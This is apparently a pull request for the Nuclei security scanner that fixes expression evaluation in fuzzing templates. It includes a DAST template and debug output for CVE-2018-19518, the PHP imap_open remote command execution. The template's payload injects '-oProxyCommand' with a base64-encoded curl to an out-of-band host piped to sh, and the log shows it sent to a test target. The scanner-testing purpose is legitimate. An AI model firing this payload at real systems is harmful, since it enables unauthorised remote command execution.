fuzz: fix missing expression evaluation before use

[tarunKoyalwar]

Proposed Changes

• fuzz: fix missing nested expression evaluation before using it in actual request
• closes Interactsh urls not working in fuzzing templates #5020

id: CVE-2018-19518

info:
  name: PHP imap - Remote Command Execution
  author: princechaddha
  severity: high
  description: |
    University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19518
    - https://www.openwall.com/lists/oss-security/2018/11/22/3
    - https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
  metadata:
    confidence: tenative
  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      php-imap:
        - "x -oProxyCommand=echo {{base64(url_encode('curl {{interactsh-url}}'))}}|base64 -d|sh}"

    fuzzing:
      - part: query
        fuzz:
          - "{{php-imap}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

$ ./nuclei -u 'https://scanme.sh/path?test=123' -t b.yaml -debug -dast

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3

		projectdiscovery.io

[INF] Current nuclei version: v3.2.3 (latest)
[INF] Current nuclei-templates version: v9.8.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 77
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.site
[INF] [CVE-2018-19518] Dumped HTTP request for https://scanme.sh/path?test=x+-oProxyCommand=echo+Y3VybCtjb2Ezb2JzbzQ3bXRvOTZnODVhZzNzZ25nazh6NmFmY2Iub2FzdC5zaXRl|base64+-d|sh}

GET /path?test=x+-oProxyCommand=echo+Y3VybCtjb2Ezb2JzbzQ3bXRvOTZnODVhZzNzZ25nazh6NmFmY2Iub2FzdC5zaXRl|base64+-d|sh} HTTP/1.1
Host: scanme.sh
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

[DBG] [CVE-2018-19518] Dumped HTTP response https://scanme.sh/path?test=x+-oProxyCommand=echo+Y3VybCtjb2Ezb2JzbzQ3bXRvOTZnODVhZzNzZ25nazh6NmFmY2Iub2FzdC5zaXRl|base64+-d|sh}

HTTP/1.1 200 OK
Connection: close
Content-Length: 2
Content-Type: text/plain; charset=utf-8
Date: Mon, 08 Apr 2024 18:49:20 GMT

ok
[INF] No results found. Better luck next time!

$  pbpaste | base64 -d | bninja url -d
curl coa3obso47mto96g85ag3sgngk8z6afcb.oast.site%